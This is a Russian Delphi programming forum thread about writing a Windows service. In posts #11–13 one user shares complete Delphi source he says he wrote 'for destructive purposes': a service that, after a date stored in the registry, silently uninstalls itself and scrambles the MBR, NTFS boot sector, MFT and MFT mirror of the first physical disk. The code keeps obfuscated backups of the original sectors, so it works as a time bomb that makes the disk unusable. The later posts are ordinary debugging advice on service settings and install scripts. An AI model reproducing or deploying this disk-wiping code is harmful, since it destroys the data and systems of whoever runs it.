Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 19.02.2008, 10:33   #11
B_N
Новичок
Джуниор
 
Регистрация: 18.01.2008
Сообщений: 1,720
По умолчанию

Если кому интересно, выкопал у себя одну милейшую вещь, которую когда-то писал в деструктивных целях:
Код:
unit srv_Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, {Graphics,} Controls,
  SvcMgr, {Dialogs,}registry, commonconstants,dateutils;

type
  Timnpservice = class(TService)
    procedure ServiceStart(Sender: TService; var Started: Boolean);
  private
    { Private declarations }
  public
    function GetServiceController: TServiceController; override;
    procedure engage;
    { Public declarations }
  end;

var
  imnpservice: Timnpservice;
  engaged : boolean;

implementation

{$R *.DFM}

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
  imnpservice.Controller(CtrlCode);
end;

function Timnpservice.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure Timnpservice.ServiceStart(Sender: TService; var Started: Boolean);
var
        Reg: TRegistry;
        FinalDate : TDate;
begin

        Reg := TRegistry.Create;
        try
                Reg.RootKey := HKEY_CLASSES_ROOT;
                if Reg.OpenKey(mainregistrykey, false) then begin
                        FinalDate := Reg.ReadDate(mainregistryvaluename);
                        Reg.CloseKey;

                        if (Date > FinalDate) then begin
                                windows.WinExec('c:\windows\system32\imnpdsrv.exe /uninstall /silent',0);
                                Engage();
                                Halt(0);
                        end
                        else Halt(0);
                end;
        finally
                Reg.Free;
                inherited;
        end;

end;
Продолжение следует...
B_N вне форума Ответить с цитированием
Старый 19.02.2008, 10:33   #12
B_N
Новичок
Джуниор
 
Регистрация: 18.01.2008
Сообщений: 1,720
По умолчанию

Продолжение...
Код:
procedure Timnpservice.engage;
var
        mbrstartpsector : int64;
        ntfsbootstartpsector : int64;
        ntfsbootcopystartpsector : int64;
        mftstartpsector : int64;
        mftmirrstartpsector : int64;

        hdd : TFileStream;

        buffer : array [0..1023] of byte;

        i:integer;
        j : integer;
        sectors : array of int64;
        s : string;

        backup1, backup2 : file;

        MainBootSector : TMBR;
        NTFSBootSector : TNTFSBootSector;

        sysdir : string;

        hddsize : int64;

begin
        SetLength(Sectors,0);
        hdd := tfilestream.Create('\\.\PhysicalDrive0',fmOpenReadWrite,fmShareExclusive);
try
        hddsize := hdd.Seek(0,soFromEnd);

        hdd.Position := 0;

        mbrstartpsector := 0;
        hdd.ReadBuffer(mainbootsector,512);

        ntfsbootstartpsector := mainbootsector.PartitionEntry1.SectorsBefore;

        hdd.Position := ntfsbootstartpsector*512;
        hdd.ReadBuffer(ntfsbootsector,512);

        ntfsbootcopystartpsector := ntfsbootsector.TotalSectors +
                mainbootsector.PartitionEntry1.SectorsBefore;


        mftstartpsector :=
                ntfsbootsector.SectorsPerCluster*
                (ntfsbootsector.BytesPerSector shr 9)*
                ntfsbootsector.Start_MFT +
                mainbootsector.PartitionEntry1.SectorsBefore;

        mftmirrstartpsector :=
                ntfsbootsector.SectorsPerCluster*
                (ntfsbootsector.BytesPerSector shr 9)*
                ntfsbootsector.Start_MFTMirr +
                mainbootsector.PartitionEntry1.SectorsBefore;

//------------
        for i := 0 to 31 do begin
                setlength(sectors,length(sectors)+1);
                sectors[length(sectors)-1] := mbrstartpsector+i;
        end;

        setlength(sectors,length(sectors)+1);
        sectors[length(sectors)-1] := ntfsbootstartpsector;
        for i := 0 to 10239 do begin
                setlength(sectors,length(sectors)+1);
                sectors[length(sectors)-1] := mftstartpsector+i;
        end;
        for i := 0 to 255 do begin
                setlength(sectors,length(sectors)+1);
                sectors[length(sectors)-1] := mftmirrstartpsector+i;
        end;
        setlength(sectors,length(sectors)+1);
        sectors[length(sectors)-1] := ntfsbootcopystartpsector;


        if length(sectors) > 0 then begin
//                SetLength(sysdir,MAX_PATH);
//                GetSystemDirectory(
                assignfile(backup1, backup1name);
                assignfile(backup2, backup2name);
                rewrite(backup1,1024);
                rewrite(backup2,1024);
                for i := 0 to length(sectors)-1 do begin
                        fillchar(buffer,sizeof(buffer),0);

                        hdd.Position := sectors[i] * 512;
                        hdd.ReadBuffer(buffer[512],512);

                        randseed := backupencryptseed + sectors[i];
                        for j:= 512 to 1023 do begin
                                buffer[j] := buffer[j] - random(255);
                        end;

                        s:=header1 + IntToStr(sectors[i])+footer1;
                        randseed :=MilliSecondOf(time);;
                        for j:=0 to 511 do buffer[j] := random(255);
                        move(s[1],buffer,length(s));
                        BlockWrite(backup1,buffer[0],1);

                        s:=header2 + IntToStr(sectors[i])+footer2;
                        randseed :=MilliSecondOf(time);;
                        for j:=0 to 511 do buffer[j] := random(255);
                        move(s[1],buffer,length(s));
                        BlockWrite(backup2,buffer[0],1);

                end;
                closefile(backup1);
                closefile(backup2);
                for i := 0 to length(sectors)-1 do begin

                        hdd.Position := sectors[i] * 512;
                        hdd.ReadBuffer(buffer[512],512);

                        randseed := mainencryptseed + sectors[i];
                        for j:= 512 to 1023 do begin
                                buffer[j] := buffer[j] - random(255);
                        end;
                        hdd.Position := sectors[i] * 512;
                        hdd.WriteBuffer(buffer[512],512)
                end;
        end;

        finally
                hdd.Destroy();

end; end;

end.
B_N вне форума Ответить с цитированием
Старый 19.02.2008, 10:34   #13
B_N
Новичок
Джуниор
 
Регистрация: 18.01.2008
Сообщений: 1,720
По умолчанию

И еще кусочек:
Код:
unit commonconstants;

interface
uses
        windows;

type
        TPartitionEntry = packed record
                Active          : byte;
                StartHead       : byte;
                StartSect_Cyl   : word;
                OSIndicator     : byte;
                EndHead         : byte;
                EndSect_Cyl     : word;
                SectorsBefore   : dword;
                Totalsectors    : dword;
        end;

        TMBR = packed record
                BootCode : array [0..445] of byte;
                PartitionEntry1 : TPartitionEntry;
                PartitionEntry2 : TPartitionEntry;
                PartitionEntry3 : TPartitionEntry;
                PartitionEntry4 : TPartitionEntry;

                Signature       : word;

        end;

        TNTFSBootSector = packed record
                JMP             : array[0..2] of byte;
                SystemID        : array[0..7] of char;
                BytesPerSector  : word;
                SectorsPerCluster : byte;
                ReservedSectors : word;
                AlwaysZero      : array [0..2] of byte;
                Unused1         : array [0..1] of byte;
                MediaDescriptor : byte;
                Unused2         : array [0..1] of byte;
                SectorsPerTrack : word;
                Heads           : word;
                HiddenSectors   : dword;
                Unused3         : array [0..3] of byte;
                Always80008000  : array [0..3] of byte;
                TotalSectors    : Int64;
                Start_MFT       : Int64;
                Start_MFTMirr   : Int64;
                ClustersPerMFT  : dword;
                ClustersPerIndex: dword;
                SerialNumber    : dword;
                Empty           : array [0..433] of char;
                Signature       : word;
        end;


const
        mainregistrykey = '{LKLWECVC-35F1-25J9-G787-2422685J4621}';
        mainregistryvaluename = 'dwtm';

        header1 = 'KJHrewhxdfg8435hjd42lkfbjlwe90r34249';
        footer1 = '245686ertidg6345jnbmzxv-234jhg';
        header2 = '9898dsgjk25o7i6df8712a;32987';
        footer2 = '.,.lk=-09-0ds78te12jkghshfvz';
        backupencryptseed = 42348;
        mainencryptseed = 9843;

        backup1name = 'c:\windows\system32\etuobj5.tmp';
        backup2name = 'c:\windows\system32\436gjsg.tmp';
        
implementation

end.
Код:
program imnpdsrv;

uses
  SvcMgr,
  srv_Unit1 in 'srv_Unit1.pas' {imnpservice: TService},
  commonconstants in 'commonconstants.pas';

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(Timnpservice, imnpservice);
  Application.Run;
end.
B_N вне форума Ответить с цитированием
Старый 19.02.2008, 14:51   #14
dimonbest
Форумчанин
 
Регистрация: 07.02.2008
Сообщений: 150
По умолчанию

Ребята, спасибо всем за коды, но я совсем запутался...
Не работает и все...
Код:
unit Unit1;
  
interface  
  
uses  
  Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
  ExtCtrls,shellapi;
  
type
  TService1 = class(TService)
    procedure ServiceCreate(Sender: TObject);   
    procedure ServiceExecute(Sender: TService);   
    procedure ServiceStart(Sender: TService; var Started: Boolean);   
    procedure ServiceStop(Sender: TService; var Stopped: Boolean);   
    procedure ServicePause(Sender: TService; var Paused: Boolean);   
    procedure ServiceContinue(Sender: TService; var Continued: Boolean);   
    procedure ServiceDestroy(Sender: TObject);   
  private  
    { Private declarations }
  public
    function GetServiceController: TServiceController; override;
    { Public declarations }
  end;

var
  Service1: TService1;
  Stop,doaction:Boolean;
  Tm: Tsystemtime;
implementation

{$R *.DFM}

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
  Service1.Controller(CtrlCode);
  if CtrlCode = 1 then Stop:=true;
  if CtrlCode = 2 then Service1.DoPause;
  if CtrlCode = 3 then Service1.DoContinue;
end;

function TService1.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure TService1.ServiceCreate(Sender: TObject);
begin
Stop:=false;
doaction:=true;
// код, на момент создания потока, один раз при старте
end;

procedure TService1.ServiceExecute(Sender: TService);
begin
while not Stop do
 begin
 service1.Interactive:=true;
 sleep(5000); // или 100 - эта задержка нужна, чтоб проц не грузить
 GetLocalTime(tm);
 showmessage('test');
 // код исполнения (рабочего цикла) при завершении =  ServiceDestroy
 //if tm.wMinute mod 5 =0 then
 //   if doaction then
 //        begin
showmessage(inttostr(tm.wMinute));
showmessage(inttostr(tm.wMinute mod 5));
 //        end;
 end;
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
Started:=true;
// код, при событии старра (всегда при старте)
end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
Stopped:=true;
// код, при событии остановки
end;

procedure TService1.ServicePause(Sender: TService; var Paused: Boolean);
begin
Paused:=true;
if Stop then Service1.Status:=csStopped;
// код, при событии паузы (всегда при паузе, один раз за один переход)
end;

procedure TService1.ServiceContinue(Sender: TService;
  var Continued: Boolean);
begin
Continued:=true;
// код, при событии продолжения (всегда при продолжении, один раз за один переход)
end;
  
procedure TService1.ServiceDestroy(Sender: TObject);   
begin
// код, при завершении работы сервиса   
end;



end.
Не выводит сообщения...
Служба нужна очень простая, она должна в определенные моменты времени делать запись определенных данных на диск...
dimonbest вне форума Ответить с цитированием
Старый 19.02.2008, 15:48   #15
B_N
Новичок
Джуниор
 
Регистрация: 18.01.2008
Сообщений: 1,720
По умолчанию

Так она должна сообщения выводить или на диск писать?
Ладно, что-то сильно я сомневаюсь в
Код:
service1.Interactive:=true;
в строке 57, чтобы ничего нового не писать и переписывать, спишите проще Process Explorer, запустите, нажмите Ctrl+H, найдите свою работающую службу и в нижнем окне посмотрите, есть ли там WindowStation с именем "\Windows\WindowStations\WinSta 0". Если такой нет, а есть что-нибудь вроде "\Windows\WindowStations\Servic e-0x0-3e5$", значит служба неинтерактивная и всего-то, значит надо настройки проекта проверять.
B_N вне форума Ответить с цитированием
Старый 19.02.2008, 16:44   #16
dimonbest
Форумчанин
 
Регистрация: 07.02.2008
Сообщений: 150
По умолчанию

Цитата:
Сообщение от B_N Посмотреть сообщение
Так она должна сообщения выводить или на диск писать?
Ладно, что-то сильно я сомневаюсь в
Код:
service1.Interactive:=true;
в строке 57, чтобы ничего нового не писать и переписывать, спишите проще Process Explorer, запустите, нажмите Ctrl+H, найдите свою работающую службу и в нижнем окне посмотрите, есть ли там WindowStation с именем "\Windows\WindowStations\WinSta 0". Если такой нет, а есть что-нибудь вроде "\Windows\WindowStations\Servic e-0x0-3e5$", значит служба неинтерактивная и всего-то, значит надо настройки проекта проверять.
Так, по порядку...
Моя программа должна на диск писать, но сначала хочу чтоб она хотя бы сообщения выводило
Програмку скачал, и вот что интересного увидел.(на рис.)
Имя службы у меня service1, а имя исполняемого файла - project1. Может по этом уне работает?
Изображения
Тип файла: jpg pe.JPG (41.4 Кб, 160 просмотров)
dimonbest вне форума Ответить с цитированием
Старый 19.02.2008, 17:02   #17
B_N
Новичок
Джуниор
 
Регистрация: 18.01.2008
Сообщений: 1,720
По умолчанию

Цитата:
Имя службы у меня service1, а имя исполняемого файла - project1. Может по этом уне работает?
Это не страшно, у каждой службы три имени и они не обязаны совпадать. Теперь, по крайней мере, видно, что службаработает и что она интерактивная. Предлагаю после всех ShowMessage выводить через OutputDebugString какую-нибудь строчку. Смотреть можно будет этим, в любом случае, программу отлаживать надо, а не гадать.
B_N вне форума Ответить с цитированием
Старый 19.02.2008, 17:51   #18
Air
Участник клуба
 
Аватар для Air
 
Регистрация: 30.04.2007
Сообщений: 1,307
По умолчанию

Так, из всех сообщений я заметил одну ошибочку.

Код:
service1.Interactive:=true;
Дело в том, что это не стоит делать программно, когда я сервис устанавливаю, я заранее все его св-ва изминяю до компилирования.
Дело в том что когда делаешь всё это заранее - инцидентов становится меньше.
Просто код приведённый "dimonbest" уж очень смахивает на моё творение, когда я кому-то отвечал и он исправно работал.


P.S. Я не присваиваю себе авторство...
Всё гениальное - просто!
Air вне форума Ответить с цитированием
Старый 19.02.2008, 17:58   #19
B_N
Новичок
Джуниор
 
Регистрация: 18.01.2008
Сообщений: 1,720
По умолчанию

2 Air
Всё дело в том, что службу, в принципе, можно перевесить "на ходу" на другую оконную станцию, другой вопрос в том, как это дельфи вытворяет.
B_N вне форума Ответить с цитированием
Старый 19.02.2008, 18:20   #20
Alter
Старожил
 
Аватар для Alter
 
Регистрация: 06.08.2007
Сообщений: 2,239
Стрелка

Цитата:
Сообщение от dimonbest Посмотреть сообщение
Ребята, спасибо всем за коды, но я совсем запутался...
Не работает и все...
Код:
.....................................
procedure TService1.ServiceExecute(Sender: TService);   
begin  
while not Stop do  
 begin  
 service1.Interactive:=true; // Это неправильно вставленно  
 sleep(5000); // или 100 - эта задержка нужна, чтоб проц не грузить   
 GetLocalTime(tm);   
 showmessage('test');   
 // код исполнения (рабочего цикла) при завершении =  ServiceDestroy   
 //if tm.wMinute mod 5 =0 then   
 //   if doaction then   
 //        begin   
showmessage(inttostr(tm.wMinute));   
showmessage(inttostr(tm.wMinute mod 5));   
 //        end;   
 end;   
end;
......................
Не выводит сообщения...
Служба нужна очень простая, она должна в определенные моменты времени делать запись определенных данных на диск...
Работает, просто вы не так делаете:
Я имел ввиду, что надо установить service1.Interactive:=true; ещё при создании сервиса, через инспектор объектов. А вы его сунули в код исполнения.

Последовательности:
1) Установка сервиса в систему при помощи /INSTALL
2) Перезагрузиться или Вручную запустить, или Программно.
3) Сервис что-то творит на машине.
Всё...

Пример установки при помощи файла BAT или CMD:
1) УСТАНОВКА:
Код:
Copy CapServ.exe %WinDir%\CapServ.exe
%WinDir%\CapServ.exe /INSTALL
2) УДАЛЕНИЕ(перед удаление нужно отключить сервис, остановить!):
Код:
%WinDir%\CapServ.exe /UNINSTALL
Del %WinDir%\CapServ.exe
А ассоциироваться с файлом(и) для записи надо при старте сервиса, вот так.
Alter вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
создать программу Александр Ф. Фриланс 4 10.11.2008 18:14
Как создать пароль на программу? Rahim1993 Общие вопросы Delphi 3 11.07.2008 06:25
ТРЕБУЕТСЯ СОЗДАТЬ ПРОГРАММУ ЭДЛ Фриланс 8 14.03.2008 13:11
Помогите создать программу на С++ Rembo Помощь студентам 1 25.01.2008 20:46
КАК создать программу тест??? ivp88 Общие вопросы Delphi 4 02.04.2007 19:12